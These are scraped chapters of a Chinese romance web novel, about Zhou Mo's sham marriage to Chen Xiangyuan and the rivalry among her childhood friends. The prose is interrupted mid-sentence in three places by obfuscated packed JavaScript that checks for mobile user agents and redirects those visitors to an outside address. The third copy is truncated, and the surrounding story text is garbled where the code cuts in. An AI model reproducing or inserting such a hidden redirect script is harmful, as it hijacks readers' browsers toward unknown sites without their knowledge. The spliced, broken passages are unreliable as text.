岳朗笑得开心,他降下车窗,挽起的衣袖露出半截小臂,阳光洒在麦色肌肤上,风轻轻梳理着麦穗一样支棱的短发。 周墨不禁想到远洋轮上乘风破浪的海员。 十四岁的岳朗,当初偷偷独自一人去做海员时,是否也有这样恣意的模样? 应该是没有的吧,那时的他,只有狼狈,难堪,和对前路迷惘彷徨的绝望。 岳朗察觉到周墨在看他,侧过头。 “怎么了?” 周墨移开视线,“没什么。” “周墨,你知不知道,你很不擅长说谎。” “那可不一定,我现在是奸商。”周墨嘴硬,“不过你现在怎么没大没小,也不叫姐了,我的大名是你能叫的嘛?” 岳朗笑了笑,没再说话。 车子抵达目的地,周墨一副见鬼的表情。 “你这一路风风火火的,就是为了带我回我自己的家?” 岳朗停车熄火下车,给周墨开车门。 周墨抓着安全带不放,“喂,你该不会是要跟我回家吧?我可没同意啊。” “哎,你先跟我来。” 岳朗将周墨拉出来,进了单元门,按了电梯,却不是周墨家的楼层。 “我家住六层。”周墨提醒岳朗。 他按的是七层。 岳朗却只是笑,不吭声。 等电梯到七层,他带着周墨走到一扇门前,看位置,正好是周墨家楼上。 周墨这时已经隐约猜出来了,看着岳朗摸出钥匙开门。 “你在我家楼上,买了一套房?” “怎么,不愿和我做邻居吗?”岳朗示意周墨进去,在玄关鞋架拿出两双全新的拖鞋,给周墨的还是女士拖鞋。 周墨一看到这房子的装修就惊呆了。 这是她家楼上,格局自然也是和她家一模一样的,三室两厅双卫,客厅和两间卧室朝南,餐厅厨房和一间卧室朝北。 但岳朗把所有非承重墙都拆了,整个房子变得极为通透敞亮。客厅内悬挂着巨大的投影幕布,配的白色软皮沙发看起来极舒服,旁边还有小冰箱和零食柜,里面塞得满满当当。 周墨简直叹为观止,“岳总,您这是要对外营业吗?” 岳朗笑得眼睛特别亮,献宝一样,双手推着周墨肩膀往里走:“你再去这边看看。” 两间朝南的卧室打通为一体,被改造成游戏房,东边摆着电脑桌,周墨只是大概扫了眼,显示器主机都是最顶级的配置,她自己是绝对舍不得入手的。 墙上挂架摆放着PS4和各种游戏盘,还有周墨喜欢的游戏角色手办。 然而这一切在周墨看到另一样东西时,都显得不那么震撼了。 “不会吧,你是认真的么……” 房间靠西一侧,摆着台一比一还原游戏厅竞赛摩托的大型投币游戏机,旁边放着透明的亚克力盒子,里面装满了金灿灿的游戏币。 周墨吃惊到词穷,只能一遍遍感叹:“你可真行!你可真行!” 竞赛摩托是周墨初中时最喜欢玩的游戏,她玩这个极好,直到经常去的那家游戏厅倒闭,她都是这款游戏的纪录保持者。 “这真的能玩?” 周墨还是不可置信,这么多年的老物件了,看着像新的一样,不得不让人怀疑只是个花架子。 岳朗二话不说,直接一手一边,从背后握住周墨的腰,将人抱上了摩托车座。 “试试。”他捡了一把游戏币,一个个丢进去。 游戏机的屏幕亮起,原本固定的摩托也开始模仿引擎,发出轻微的震动。 周墨惊呼一声,马上进入状态,选择好车型和路线,全神贯注。 这款游戏是完全模仿真实赛车摩托的动力系统,摩托本身也会随着操作在基座上摆动,当年算是游戏厅里吃币最多的设备了,周墨零花钱有限,一个月才舍得玩几次,或许也正因此,练就了超一流的技术。 最初几轮的生疏尝试之后,周墨逐渐找回了感觉,玩得越来越入迷。 岳朗自始至终就在旁静静地看着她, 她笑,他也笑。 她懊恼,他还是笑。 黄昏的暖光透过百叶窗,被隔成长条状的光影,缓缓在两人身上流淌,仿佛倒退了时光。 岳朗似乎也入了迷,脸上笑意不知不觉淡了,落在周墨身上的目光变得专注。 周墨这一玩就是半个多小时,从摩托上下来以后,还有些意犹未尽,她拍了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093677|195558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拍车座问:“这宝贝你从哪儿弄来的?” 岳朗回了神,眼里某种隐秘的情愫也同时收了回去。 “一开始我是收了个旧的,但设备太破,就让人将东西拆了,原样定制零件,组了台新的。” “难怪,看着这么光鲜亮丽。这一□□下来很贵吧?”周墨看得眼馋。 “嗐,没几个钱。”岳朗也没细说,又指了指游戏房角落,“那边几台都是老东西,只是让人从里到外清理一遍,重新喷了漆。” 周墨顺着看过去。 那竟是两台街机,古早的操作按钮,显示屏上闪动着像素超低的拳皇界面。 她噗嗤乐出来,拍了拍岳朗的肩。 “你跟这儿寻找青春的回忆呢?” 岳朗似乎也有点不好意思,低头揉了揉额。 “大概岁数大了吧。”他自嘲。 “呸,我可比你大两岁呢,别骂人。”周墨翻白眼。 岳朗笑,“来两把?” “来!” 说起来,周墨打街机这事,还是被身边这些坏小子拐带的。 一开始还总被他们完虐,但她天生犟种,表面不在乎,背地里苦修各种人物的绝杀技能的按键技巧,最后把他们一个个按在地上摩擦,KO爆头。 两人玩了一会儿,又叫又笑,活脱脱两个傻子。 岳朗又引周墨去参观朝北的房间。 这时太阳已经落下,室内昏暗,所以一开始周墨站在房间门口,只以为这是间三面满墙书架的书房。 直到岳朗打开灯,周墨彻底愣住。 三面书架上,放的竟然都是漫画书。 全是周墨少女时代最爱的。 周墨第一眼瞄到的是正对着自己的全套《爱丽丝学园》,她随手拿了一本翻阅,仿佛回到学生时代,午休厚着脸皮躲到学校附近书店里蹭看的时光。 她翻了几页,然后转过头去看岳朗。 岳朗身高一米八五,站在她身边高出她一个头还多,单手手肘随意搭在书架层板上,遮下一小片阴影。 他注意着她每一丝细小的表情变化。 “怎么,书有问题?” 周墨摇头,“没问题,全彩精装正版,现在市面上已经绝迹了。” 岳朗笑道:“那我就放心了。” 周墨神色有些古怪。 岳朗也不回避她的目光,棱角分明的一张脸,竟展露出一种柔和的感觉。 “看我干什么?” 周墨收回视线,慢吞吞将书放回书架。 “你买这么多漫画做什么?你又不爱看。” “你爱看啊。”岳朗回答得理所当然,同时从口袋里拿出钥匙,塞进周墨手里。 “什么意思?”周墨不太想接。 “帮我看房子呗。”岳朗笑得颇不正经。 “我不要。”周墨将钥匙丢回去。 岳朗也不恼,钥匙在掌心颠来颠去的玩。 “我不经常在北京,这房子空着也是空着,还不如平时给你当个游戏房,回头我偶尔来,也能有个落脚的地方。你也知道,我家里也没什么人了,有了这房子,在北京也算有个家。” 他说得低声下气,温柔耐心,像在哄生气的情人,最后又卖了一波惨,显得可怜兮兮。 “行吧?行不行?” “哎呀好了好了,真麻烦。” 5. 005 岳朗这个房子简直应有尽有,甚至还配备了专门的调酒吧台。 周墨对着满柜子看不懂的各式洋酒,信誓旦旦地说:“知道么,我可是调酒小天才,要不要见识一下我的手段?” 岳朗转着开瓶器扬了一下眉:“我的荣幸。” 周墨撸起袖子,将一瓶瓶酒拿出来。 她身高有限,够高处的酒有些费力。岳朗就站在她身后,好大一只,她想要哪瓶就给她拿哪瓶。 周墨哪里懂调酒,瞎说着玩的。她看着那么多花花绿绿的不同品类的酒,这瓶放点,那瓶放点,一支小小的马提尼杯,里面恨不能加了十几种酒。 到最后,连她自己都心虚。 “那个,要不你还是别喝了吧。” 她见岳朗将酒杯拿起来,眼也不眨地就往嘴边送,心里越发没底。 “为什么?”岳朗端着酒杯垂眼看她。 “我怕你被毒死。”周墨去夺岳朗手里的酒杯。 岳朗躲,偏要尝一口。 周墨紧张地看着:“怎么样?” 岳朗惊讶地问:“你真的是……第一次调酒?” “对啊。” “那完了。” “怎么了?” “还真让我碰上调酒天才了。” “真的啊?”周墨嘴角不自觉扬起。 “真的,味道非常好,比我之前酒吧里喝的那种上千一杯的强多了。” “给我尝尝。”周墨被勾起了好奇,将酒杯从岳朗手中接过来,喝了一口。 呕—— 直接吐了。 岳朗哈哈大笑,看着周墨在那里团团转的找水喝,将早就准备好的矿泉水递过去。 周墨一口气喝了半瓶水,才将口腔里那股类似汽油和碘伏混合物的酒味冲淡。 “你太坏了。”周墨呛出眼泪,捶了岳朗一下。 岳朗无辜道:“你只是喝不惯,我真的觉得还好。” “行,那我天天给你调,你一滴都不要剩。” 身边突然安静,周墨觉得不对劲,转过头。 两人本是并排靠在吧台边,岳朗这时起身转到周墨面前,和她面对面。 他双手撑在周墨身体两侧的吧台上,手长脚长的,没有触碰到她的身体分毫,却将她整个人结结实实圈在独属于自己的领地里。 “你干什么?”周墨道。 极近的距离,温热的呼吸夹杂着淡淡的酒精气息。 这片刻的对峙里,充满了雄性的侵略。 “不是说,天天让我喝你调的酒,那怎么才能天天啊?” 岳朗不笑了,他神色忽然变得认真。 “不然你嫁给我吧?” “有病吧你,还真的酒精中毒了?”周墨伸手推了一把。 岳朗佯装被推得向后踉跄了一步,下巴微微仰着,看着周墨,又开始没正形地笑。 “我这不是给你预演一下,打打预防针。” “打什么预防针。”大抵是酒精上头,周墨的头有点晕,脸也热起来。 她又将已经拧紧了盖子的矿泉水瓶拿起来,想再重新将瓶盖拧开喝两口水,却失败了。 盖子有点紧。 “万一你遇上哪个渣男,随便用甜言蜜语骗一骗,就把你的心给骗走了。”岳朗很自然地将水瓶接过来,替周墨拧开。 “我谢谢你啊。”周墨接过水瓶,瞪了岳朗一眼。 “客气什么,应该的。” “时间也不早了吧,你今天晚上住在这里么?”周墨没在这房子里找到钟表。 据说一般只有娱乐场所不会设置时钟,目的是让人沉迷其中,忘了归期。 “你想我今晚留下么?” 岳朗的回答像极了勾搭小姑娘的浪荡纨绔。 周墨忍不了了,抬腿踹了一脚,”咱不能好好说话了是吧?” 岳朗举起双手,做投降状:“哎,小墨姐姐,别这么凶嘛。” 周墨白他一眼,“晚上想吃什么,姐姐请你。” 岳朗终于收起了混不吝的嘴脸,正色道:“不吃了,一会儿要赶飞机,出差去海南,有没有什么想带的?” 周墨知道,岳朗的意思是那边有免税店,问她有没有什么奢侈品或者化妆品要带。 但她不愿意他破费,故意说:“给我背俩椰子回来吧。” 岳朗一愣,笑出一口白牙:“行啊。” 周墨突然又后悔了。 她怕岳朗真给他背俩椰子回来。 “算了算了,你下次什么时候回来还没谱呢,我指不定那时候又不想要椰子了。” “行,那我今晚先给你背回来,完了我再回去。” 两人你一嘴我一嘴地瞎贫,换了鞋出门,进了电梯。 周墨想直接送岳朗下楼,却被他先一步按了六层。 “我先送你回家。” 周墨正想说不用,电梯已经到了六层。 她也就不再矫情,出了电梯,对岳朗道:“好了,那我就不送你去楼下了。” 两人站在楼道内,影子叠在一起。 岳朗不舍地看着她,张开双臂。 “抱一个嘛,又要好久不见。” 他像只和主人有分离焦虑症的大狗。 周墨无语,上前一步,抱了抱他。 “周墨。” 身后传来一道冷冰冰的声音。 周墨吓了一跳,一点点转过身,对上徐子衿那双没什么情绪的,黑漆漆的眼睛。 “哥……你怎么来了?” “子衿哥,好久不见。” 岳朗一只胳膊揽住周墨的脖子,好像俩人是熊大和熊二,好成了亲兄弟。 他看着徐子衿,在周墨看不到的角度,眼神里满是挑衅的味道。 徐子衿黑着脸,根本没有理会岳朗,只是盯着周墨,双手插在风衣口袋里,一步一步走过来。 他看上去像是刚从什么应酬场合过来,风衣里是完整的西装四件套,薄底的皮鞋每走一步都会发出声音。 空旷的楼梯间里,一下一下,像恐怖片。 周墨觉得,徐子衿一定是知道了什么。 “周墨,你的车,京牌到底是怎么弄的?” 终于,悬着的心还是死了。 周墨不敢看徐子衿的眼睛。 她和陈向远领证的事,要是捅到爸妈那里,非得打断她的腿。 “我,我先送岳朗去机场。” 周墨转身,推着岳朗就想跑。 徐子衿一把抓住她手腕,将人从岳朗怀里拖出来。 周墨的另一只手被岳朗同时抓住。 “徐子衿,没听小墨说么,她要送我去机场。” 岳朗不笑的时候,身上沾点戾气。那声言不由衷的“子衿哥”,也变成了点名道姓的直呼。 这才是他的本来面目。 “陈向朗,在这里瞎掺和别人家的事之前,先去问问你那王八蛋哥哥,干了什么好事。” “不好意思,陈向朗是谁,不认识。” 徐子衿直接从周墨外套兜里拿出了手机。 岳朗注意到,徐子衿是用自己的指纹,解锁了周墨的手机。 他的眼睫微垂下去,再抬眼时,盯着徐子衿的目光,阴沉沉的。 那是见识过黑暗的眼睛,身处光明的正常人被这样一双眼睛盯上,多少会觉得发怵。 可徐子衿也不是什么好东西。 他无动于衷,用周墨的手机拨了一个电话。 对面很快接通。 “喂,陈向远,你他妈的现在就滚回来,跟周墨把离婚手续办了。” 周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093678|195558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 墨的一只手腕被松开了。 岳朗看着她,不可置信的表情。 “你……和陈向远结婚了?” 周墨顺势也甩开徐子衿的手,摩挲着自己泛红的两只手腕。 “假结婚而已,为了办京牌。” “周墨,你脑子让驴踢了么!” 徐子衿气得发抖,在周墨脑门上狠戳了一下。 “结婚还有真假么?手续办了,你就是已婚的状态,就算再办离婚手续,你户口本上婚姻状态也永远都是‘已离异’,再也回不到‘未婚’两个字了!你他妈的是不是疯了?” “那又怎么了?我又无所谓。”周墨被骂得心里来了火,也硬气起来。 “你就没想过以后你嫁人,出去相亲,介绍人都要说你是二婚。” “大不了我以后不结婚了行吧,烦死了。”周墨推开徐子衿,往家门走。 岳朗这时也拿出手机拨通电话。 “机票改一下,今晚不走了。” 周墨回头,见岳朗正在按电梯,连着按了很多下,按键按得啪啪响。 “你干什么去?不去海南出差了?” 周墨身边这几个,各有各的疯法,可是唯独岳朗,是唯一可能疯上刑法的,让她有点不放心。 “没事。” 岳朗表情平静得很,甚至在周墨问的时候,还能冲她笑一笑。 “我去找我哥。” 这就不可能没事了。 电梯门开了,周墨想追上去,却被徐子衿拉回来。 “让他去,陈向远跟你说他出国了吧?陈向朗一个小时内就能把他从国外拽回国内,你信不信?” 周墨纠正:“他现在叫岳朗,不叫陈向朗。” 电梯门关上,岳朗走了,周墨没能追上。 “你,跟我过来。”徐子衿将周墨拖进家门。 周墨原以为他会劈头盖脸臭骂她一顿,可真的两人独处一室了,徐子衿却安静下来。 他背靠着门,点燃一支烟。 周墨皱起眉,“你什么时候学会抽烟了?” “国外上学的时候。” “那怎么从来没见你抽过?” “你不喜欢。” 周墨噎了一下,最后干笑道:“万恶的资本主义社会,把一大好青年带坏了。” 徐子衿抽烟的样子很帅,这归功于他那只骨节分明的手。 周墨看得有些出神,心想,如果当初徐家没出事,徐子衿现在可能会是一个钢琴家。 可惜,世上没有如果。 徐子衿抽完了一支又一支,房间光线越来越暗。 满屋子的烟,呛得周墨咳嗽,要是放在平时早就发飙了。 可是她今天很怂,愣是没敢吭声。 见她咳嗽,徐子衿去了厨房,打开了排烟机。 他似乎不想跟她说话,周墨也乐得清净。 大概过了一个多小时,外面楼道重新响起了声音。 似乎有不少人,脚步声都很重,夹杂着几句骂骂咧咧。 房门被敲响,是岳朗。 周墨战战兢兢去开门,岳朗一脚将个人踹进来。 “我操!”陈向远跌跌撞撞,想努力找平衡站住,可惜这一脚力道太狠,他还是直接跪地上了。 周墨每次见到陈向远都得仔细辨认一下,因为几乎每次见他长得都不是一个模样。 今天陈大公子一头白色漂染,穿着粉色衬衫,墨绿格纹的休闲套装,耳钉项链戒指一样不落,花孔雀一样,像是刚从哪个夜店下班的模子哥。 只可惜貌美如花的模子哥今天破了相,嘴角破了,眼角挂彩,脸也肿了一边,像是刚刚夜店勾引富婆被捉奸老公撞见,挨了一顿揍。 噗嗤—— 周墨没忍住,让自己这个联想画面逗笑了。 6. 006 陈向远挨了亲弟弟的揍没破防,却被周墨这一声笑整破防了。 “我说周墨你有没有心,我都这样了,你居然还能笑出来?” 周墨凑上前,一副刚认出人的样子。 “哎呀,陈二狗,怎么是你!” 陈向远哎呦哎呦地叫唤,央着周墨:“赶紧给我找药膏涂一下,疼!” 周墨捏起他下巴,相马一样左右掰着看了看。 “啧,是得赶紧涂,再慢点伤口都要愈合了。” 陈向远哼哼:“这么对你老公是吧,毒妇!” 岳朗带来的人已经打发走了,他安静看着陈向远和周墨肆无忌惮地装乖卖傻,觉得两人之间的亲昵像是一道密不透风的墙,而他就是墙外的雨,只能顺着砖缝徒劳地渗。 那是极其熟稔亲密的关系才能滋养出来的默契。 是周墨和他在一起时所没有的。 周墨丢开陈向远,去卧室里拿医药箱。 陈大少丝毫不拿自己当外人,沙发上一瘫,从兜里掏出墨镜戴上。 这么一看,不像模子哥了,倒是有了几分明星气质。 “说吧,是你承认自己有重度精神病隐瞒病情,还是去跟警察自首,说你限制周墨人身自由胁迫结婚?” 岳朗拖过来一把椅子,五马长枪往陈向远对面一坐。 陈向远翘起的二郎腿一颠一颠,扯着嗓子冲卧室内喊:“喂,周墨,你养狗了么?这屋里怎么有狗叫声?” 岳朗又要扑过来打他,徐子衿刚好从厨房出来,将人按了回去。 “你们兄弟两个想打架,出去打。” 陈向远立刻反驳:“哎,徐子衿我跟你说啊,你别骂人,谁跟疯狗是兄弟。” “挨揍没够是吧?”岳朗瞪他。 “怕你啊?来啊!”陈向远不甘示弱。 兄弟两人剑拔弩张,周墨拎着医药箱出来,往茶几桌上重重一放。 “陈向远,不疼了是吧?” 陈向远像个惨遭渣男抛弃的小媳妇,“周墨,你可不能不分是非黑白啊,看看是谁在挑事!” 周墨懒得给人断案,拿出一管跌打损伤膏,坐到陈向远身边。 陈向远赶紧摘了墨镜,将脸凑过来。 像个恃宠而骄的妖妃。 徐子衿面无表情走到周墨面前,从风衣口袋里翻出一张名片。 “这个律师可以帮你向法院起诉撤销婚姻,刚刚陈向朗说的那两个理由都可以,你随便选一个。” “哎我说你们……”陈向远身为当事人,打算反抗一下为自己发声。 岳朗指着他警告:“给我闭嘴,捅出这么大的娄子,我要是你我就以死谢罪。” 陈向远懒洋洋操着一口京腔:“那可不成啊,我死了,周墨不就成寡妇了。” 这回不仅是岳朗想抽他,连徐子衿也想动手了。 周墨被他们吵得不耐烦,“行了,这事跟陈向远没关系,是我当初非得磨着他,一人做事一人当,你们俩冲他使什么劲儿呢。” “就是。”陈向远像找到靠山一样,躲在周墨身后,一脸小人得志。 岳朗眼神泛着冷意,“怎么就一人做事一人当了,你去登记的时候是绑着他了,还是拿狗链子拴着他了?” 陈向远阴阳怪气道:“要不怎么说是年纪轻轻就出来混的大哥呢,不是想着绑人,就是拿链子拴人,周墨,你敢把这种人放进家门,不怕被拐去缅北诈骗集团么?” 岳朗点头,“行啊,先给你卖了,腰子掏出来。不过你那腰子估计也不值钱,太虚。” 两人吵个不停,徐子衿好不容易找了个安静间隙,问周墨:“那你现在想怎么办?” 周墨说得云淡风轻:“就那么办呗,找个时间,去和陈向远把婚离了。” 徐子衿:“就顶着一个离异的名头?” 周墨:“这有什么,我认识一个姐妹,前两年为了买房,办了三次离婚,赚发了。” 徐子衿被气笑,“按照你的意思,找人结一次婚还算少了是吧?” “哎呀好了好了。” 周墨不想惹徐子衿,适可而止。 她看了眼时间。 “今天民政局下班了,明天我就和陈向远把婚离了,这事就算翻篇。” “明天?明天可不能够!” 陈向远假装看不到周墨在拼命给他使眼色,双手交叠往脑后一枕,在沙发里躺成了一个老太爷。 “我这脸上挂了彩,可不去民政局丢人。回头人家问起来,还以为我是因为家暴离婚,传出去对周墨也不好。” 岳朗看周墨,“瞧,这玩意就是个无赖,狗皮膏药,贴身上就下不来了。” 徐子衿似乎是为了响应岳朗,又将律师的名片往前递了递。 “对付这种人,你这方法没用,还是物理消除比较好。”岳朗拿出手机拨了个电话:“喂,上来两个人,再准备个麻袋。” 周墨头疼,依稀间仿佛又回到学生时代。 这么多年过去了,几个疯子头一遭碰上。 好在今天四大天王三缺一,东南西北好歹给她留了个喘气的方向。 不敢想象要是林跃琮那老阴逼也在,她该怎么办。 要不怎么说,没事不要让脑子乱生念头,所谓宇宙吸引法则,恐怖故事想多了,就容易变成现实。 有人敲门,陈向远瞥了岳朗一眼,显出紧张。 他似乎担心自己真的会被这同母异父弟弟套麻袋灭口。 徐子衿去开门,原本沉着的一张脸在见到来人时,瞬间变得人畜无害。 “妈?” 这一声把周墨吓了个机灵,三步并作两步冲到玄关,正看见她的亲妈,徐子衿的养母——最伟大的朱美丽女士,晃着自己胖胖的身子进门。 “呀,子衿也在啊。” 朱美丽女士其实长得很名副其实,皮肤白眼睛大,烫着小卷发,穿了一身美拉德色系的休闲套装,配一顶咖色贝雷帽,除了有点发福像个白面馒头,真是挑不出一点毛病。 周墨说,要是把朱美丽送回唐朝,高低得在宫里封个贵妃。 朱美丽说,自己年轻的时候身材特带劲,像舞蹈演员,如果当初不是为了生她,现在去开抖音号还能吸引榜一大哥。 不过很快,周墨就发现了猫腻。 朱美丽不远千里从老家来看望自己亲闺女,居然两手空空。 这风格很不朱美丽。 以前哪回来她不是大包小包,恨不能将家都搬来? 果然,周墨看到了端倪所在。 紧跟着朱美丽身后进门的,还有一个人。 而本应该在朱美丽手里的一个拉杆箱外加两个大包袱,都是由这个“跟班”倒腾进来的。 “林跃琮?!”周墨眼前发黑,想要掐自己人中。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093679|195558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这一嗓子把朱美丽吓着了,瞪她一眼。 “乱叫唤什么呢!咋的,不认识小林啊!” “你,你怎么把他带过来了!” 周墨这话是对亲妈说的,目光却不受控制,对上林跃琮那双含笑的眼睛。 “我送朋友去火车站,正巧碰上丽姨,看她拿的东西太多了,就送她一趟。”林跃琮温声,解释得滴水不漏。 这话换做别人说,周墨可能会信,可对方是林跃琮,在他这里,周墨从来不信什么无巧不成书。 对比周墨抗拒的态度,朱美丽再次见到林跃琮,却是十分开心的。 “小林啊,要是没事就别急着走,姨给你做饭吃,好久没吃过我做的饭了吧?” “那敢情好了,自从上回去滨城出差,去您家里蹭过一次饭,这又得有两年多了。我现在做梦还经常梦见小时候,我们放学后去您家里吃饭。” 这番话将朱美丽哄得喜笑颜开,换了拖鞋抬头,见玄关口又多了两道黑影,并排立着,像堵墙。 “咦,向远也在啊,这是……” 朱美丽的目光落在岳朗身上,笑容凝固住。 她牢牢盯了片刻,才红着眼圈,叫出了那惦念多年的名字。 “你是……向朗……” 这曾经的名字,是岳朗的逆鳞。 可此时由朱美丽叫出口,他却只是哽咽地点头,“丽姨,是我。” “哎,长这么大了,这么高了……真好,真好。” 时隔八年,这是朱美丽自那个雨夜,少年决绝离开后,第一次与他重逢。 她拉住岳朗的手,一时间不知道该说什么好,只能一下一下拍着,嘴里念叨:“吃苦了,这些年在外面吃苦了。” 四个彼此看不对眼,关在一起能引发世界大战的男人,管他是新贵还是二代,此时在朱美丽面前,仿佛全都变成了模范生,一个个安静乖巧,让稍息不敢立正,让立正不敢稍息。 “哎,你们看我这好好的,乱淌什么猫尿呢。”朱美丽女士抹了把脸,蹭干眼泪。 屋里一共五只崽,一个亲生的,另外四个也都是吃她做的饭长大的,朱美丽使唤起来毫无心理压力,就连被她亲自盖章吃了不少苦的可怜孩子,也没能得到半点优待,被安排跟她一起去菜市场买菜。 “妈,你要买什么,我可以直接在生鲜app上下单,送货上门。” 见朱美丽轻车熟路抖开两个布袋子,准备拉岳朗出门,周墨提醒。 朱美丽嫌弃:“你那看不见摸不着的,买回来的都是老菜根子。” 房门砰的一声响,最老的和最小的都走了。 陈向远本来是想和朱美丽一起去买菜的,可惜争宠失败,他甚至还无耻地欺骗朱美丽,说脸上的伤是见义勇为被小混混打的。 徐子衿好不容易将朱美丽从滨城带来的特产全都塞进冰箱,回到客厅,刚好撞见将行李箱拖进次卧以后出来的林跃琮。 房间里一下安静了下来。 周墨抱着双臂打量林跃琮,“林跃琮,你搞什么名堂。” 林跃琮慢条斯理将刚才做苦力时挽起的衬衫袖子放下,说:“我说的都是实话,在火车站碰到了丽姨,看她行李多,又不舍得打车,就送她回来。还是说……” 男人抬眼看周墨,完全将另外两个人当空气,唇角微扬,“你更希望我是专程设计,就为了摸来你的兔子窝?” 7. 007 “姓林的,我这正经老公还没死呢,你就当着我的面勾引我媳妇儿?” 陈向远被林跃琮的一身骚气熏着了,跳出来表明正宫地位。 林跃琮像是才发现屋里还有他这个活物,淡淡瞥了眼。 “我愿意为爱当三,你倒是愿意跟她离婚么?” 徐子衿拿了一把扫帚,扫到两人跟前时,恨不能将他们一起当垃圾扫出门。 “抱歉,我们家家风清正,你们这样的女婿可不敢招。” 陈向远躲开横扫过来的扫帚,立刻调转矛头:“我说姓徐的,你别拿着鸡毛当令箭,想当我大舅子,有本事你先把姓改了啊。” 周墨实在忍不了,竖起一根指头,先看向林跃琮,“第一,我不是兔子,这里是我家,不是什么兔子窝。” 接着竖起第二根指头,对陈向远说:“第二,我不是你媳妇,咱们之前签了合同的,你明天跟我去民政局把离婚证领了。” 最后看向徐子衿:“第三,我暂时没有结婚打算,所以我们家也不会有什么女婿。” 三个男人谁都没落得什么好处,却都在为其他人被周墨怼了而暗爽。 周墨抱臂立在三足鼎立当中,手指心烦意乱地一下下敲着胳膊。 “总之,假结婚这事儿不能让朱美丽女士知道,不然明年的今日,你们就得去我坟头除草了。” 六道目光齐刷刷落在周墨身上,却无人回应。 周墨有点慌。 她想起了小时候自己闯祸,被四个混蛋轮番向朱美丽告状的悲惨境地。 “喂,听见了没啊?”她瞪向三人,却有些外强中干,“不许,告诉,朱美丽!” 噗嗤,先是陈向远笑出声,紧接着是徐子衿和林跃琮,也都看着她笑起来。 周墨莫名其妙,“你们有病吧?笑屁啊!” 三人这会儿倒是都很有默契了,扫地的扫地,涂药的涂药,另一个没什么可忙的,忽然对沙发上摆的毛绒熊产生了浓厚兴趣。 “喂,你们什么意思?怎么都不说话?” 周墨心里越来越没底了,脑子里几乎已经有了朱美丽暴跳起来用擀面杖揍她的画面。 她追着几个人,“你们肚子里又憋什么坏主意呢?不会真的跟我妈告状吧?不能这么不够义气啊……” “周墨。” 林跃琮忽然开口,白皙修长的手指有一下没一下地捏着熊耳朵。 周墨回头看他,“干嘛?” 林跃琮:“别再说话了。” 周墨疑惑:“为什么?” 林跃琮:“太可爱了,我会忍不住想亲你。” 周墨:“…………………………” 周墨还没有从雷击中恢复,就被徐子衿挡在了身后。 “客厅里有脏东西,你先回屋待着。” 周墨觉得这是个好主意。 她回屋,反锁门,在床上躺平。 竖起耳朵听了半天,外面很安静,倒是没有什么冲突的迹象。 周墨长舒一口气,翻了个身将脸埋进床。 憋闷的黑暗让大脑一时陷入宕机状态,思想放空后,属于过去的画面便涌现出来。 其实原本周墨是不可能和这几个家伙有任何交集的。 平行线发生扭曲的节点,是在她六岁那年。 …… 1997年的夏天,是属于千纸鹤的,也是属于离别的。 周墨幼儿园就要毕业了。 上学的最后一天,她坐在爸爸自行车后座的兜椅里,黑亮的大眼睛泪汪汪的,充满了委屈。 “爸爸,以后我都不能去幼儿园了么?” “对啊,小墨以后就是大孩子了,要上小学啦!” 路过幼儿园门口的小卖部时,周海山照旧停下车,一脚点地,一脚踩着脚蹬。 周墨整个小人儿也随着自行车倾斜向一边,挂在长长睫毛上的泪珠子顺着歪倒的一方,啪嗒落下来。 最近一个月,为了庆祝即将到来的香港回归日,幼儿园组织小朋友们叠千纸鹤,所以周海山每天早上都会在小卖部给周墨买一包叠纸鹤用的小花纸。 放在往常,周海山的自行车在小卖部的窗口一停,周墨就要伸长了脖子去挑花纸了,还要一边挑一边像个雀儿一样叽叽喳喳,给周海山讲述她选花样的心路历程。 今天等了半天,身后都很安静,周海山回头,才发现闷闷不乐的小姑娘。 “呦,我闺女这是怎么了?怎么还哭了?” 周墨撅起嘴巴,小声啜泣,“我以后都不能来幼儿园了,见不到我的朋友了……” 周海山看得有趣,捏了捏女儿软软的小脸蛋,“没关系的,以后还会有新的朋友嘛!” 都说女人心海底针,直男一根筋的海山同志,不仅搞不定自己媳妇,更搞不定自己闺女。 这句话非但没起到安慰作用,反而让周墨哇的一声哭开了。 “呜呜呜我不要新朋友!!!我不喜欢新朋友!!” 在那个阳光明媚的清晨,响亮的哭声仿佛是谶语,冥冥之中,左右着未知的命运。 周墨终究是花了很长很长很长时间,才勉强接受了新朋友。 为了镇压周墨汹涌勃发的眼泪,周海山大手一挥,决定今天破例给她买两包花纸。 可惜周海山身上的零钱不够,小卖部的老板又找不开零。 周海山瞥了眼小卖部里的体彩广告,对老板说:“那就随便给我打一张彩票吧。” 或许是因为心情不佳,在幼儿园的最后一天,周墨病了,高烧不退。 幼儿园的老师给家长打电话,周海山中午火急火燎请假赶来。 